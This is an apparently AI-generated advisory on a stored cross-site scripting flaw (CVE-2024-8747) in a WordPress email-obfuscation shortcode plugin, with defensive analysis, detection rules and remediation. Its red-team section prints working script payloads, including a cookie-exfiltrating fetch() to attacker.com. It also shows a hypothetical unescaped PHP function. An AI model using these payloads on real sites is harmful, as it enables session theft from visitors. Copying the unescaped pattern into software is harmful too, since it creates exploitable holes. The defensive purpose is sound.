CVE-2024-8747

Executive Summary

CVE-2024-8747 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Email Obfuscate Shortcode plugin for WordPress, affecting all versions up to and including 2.0. The vulnerability resides in the [email-obfuscate] shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts into pages. When a user visits an affected page, the injected script executes, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as medium severity (CVSS 6.4) and currently has no known public exploit or patch.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The [email-obfuscate] shortcode is a common feature in WordPress plugins designed to protect email addresses from spam bots by encoding them. However, the lack of proper input validation in this plugin turns it into an attack vector. The attack surface is limited to authenticated users with Contributor-level access or higher, but the impact can be widespread if a compromised contributor injects malicious scripts into high-traffic pages.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – Attacker needs Contributor-level access.
• User Interaction: Required (UI:R) – A user must visit the injected page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for widespread impact on a WordPress site makes it a significant concern for multi-author blogs or sites with untrusted contributors.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The [email-obfuscate] shortcode is intended to obfuscate email addresses to prevent spam bots from harvesting them. The plugin likely processes attributes like email, display, or subject to generate obfuscated HTML (e.g., using JavaScript or CSS to hide the email). However, the plugin fails to sanitize these attributes before outputting them into the page.

Attack Flow:

1. An authenticated user with Contributor-level access creates or edits a post/page.
2. The attacker inserts the shortcode with a malicious payload in an attribute, e.g., [email-obfuscate email="<script>alert('XSS')</script>"].
3. The plugin processes the shortcode and outputs the unsanitized attribute directly into the HTML.
4. When any user (including admins) visits the page, the script executes in their browser.

Root Cause: Insufficient input sanitization and output escaping. The plugin likely uses echo $attribute instead of esc_attr() or wp_kses() to safely output user-supplied data.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable implementation might look like:

// Vulnerable code (hypothetical)
function email_obfuscate_shortcode($atts) {
    $email = $atts['email'];
    return '<a href="mailto:' . $email . '">' . $email . '</a>';
}
add_shortcode('email-obfuscate', 'email_obfuscate_shortcode');

A patched version would use proper escaping:

// Patched code (hypothetical)
function email_obfuscate_shortcode($atts) {
    $email = esc_attr($atts['email']);
    return '<a href="mailto:' . $email . '">' . esc_html($email) . '</a>';
}
add_shortcode('email-obfuscate', 'email_obfuscate_shortcode');

The patched version uses esc_attr() for the href attribute and esc_html() for the display text, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the Email Obfuscate Shortcode plugin (<= 2.0) installed.
• An account with Contributor-level access or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or edit an existing one.
3. In the content editor, insert the following shortcode:

   [email-obfuscate email="<script>alert(document.cookie)</script>"]
   

4. Publish or update the post.
5. When any user visits the post, the JavaScript executes, displaying the user's cookies.

Advanced Payload: To exfiltrate data, use a payload like:

[email-obfuscate email="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"]

Note: No public exploit code is available for this CVE.

Blue Team (Defensive)

Detection:

• Monitor for posts containing the [email-obfuscate] shortcode with suspicious attributes (e.g., <script>, onerror, onload).
• Use a Web Application Firewall (WAF) to block common XSS patterns in shortcode attributes.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

• Search the WordPress database for posts containing [email-obfuscate and inspect the attributes.
• Use the following SQL query to find potentially malicious shortcodes:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%[email-obfuscate%';
  

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/email-obfuscate-shortcode/ (presence of the plugin)
• Database: Posts containing [email-obfuscate with attributes containing <script>, onerror, onload, or other event handlers.
• Network: Outbound connections to unknown domains from the WordPress server (if payload exfiltrates data).
• Logs: WordPress audit logs showing post creation/editing by Contributor-level users with unusual shortcode usage.

Detection Engineering

YARA Rule

rule CVE_2024_8747_Email_Obfuscate_XSS {
    meta:
        description = "Detects stored XSS payloads in Email Obfuscate Shortcode plugin"
        author = "Valters IT"
        date = "2024-10-27"
        cve = "CVE-2024-8747"
    strings:
        $shortcode = /\[email-obfuscate[^\]]*\]/ nocase
        $xss_payload = /<script[^>]*>|onerror=|onload=|onmouseover|javascript:/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: Stored XSS via Email Obfuscate Shortcode
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects posts containing malicious shortcode attributes
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '[email-obfuscate'
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of shortcode with benign attributes
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8747 Stored XSS in Email Obfuscate Shortcode"; flow:to_server,established; content:"[email-obfuscate"; nocase; pcre:"/<script[^>]*>|onerror=|onload=|onmouseover|javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict Contributor-level access to trusted users only.
3. Review all posts created by Contributors for malicious shortcode usage.

Long-term Fix:

• The vendor must release a patched version that properly sanitizes shortcode attributes using esc_attr() and esc_html().
• Alternatively, replace the plugin with a secure alternative that handles email obfuscation safely.

Workaround:

• Use a WAF rule to block requests containing [email-obfuscate with suspicious patterns.
• Implement CSP headers to prevent execution of inline scripts.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.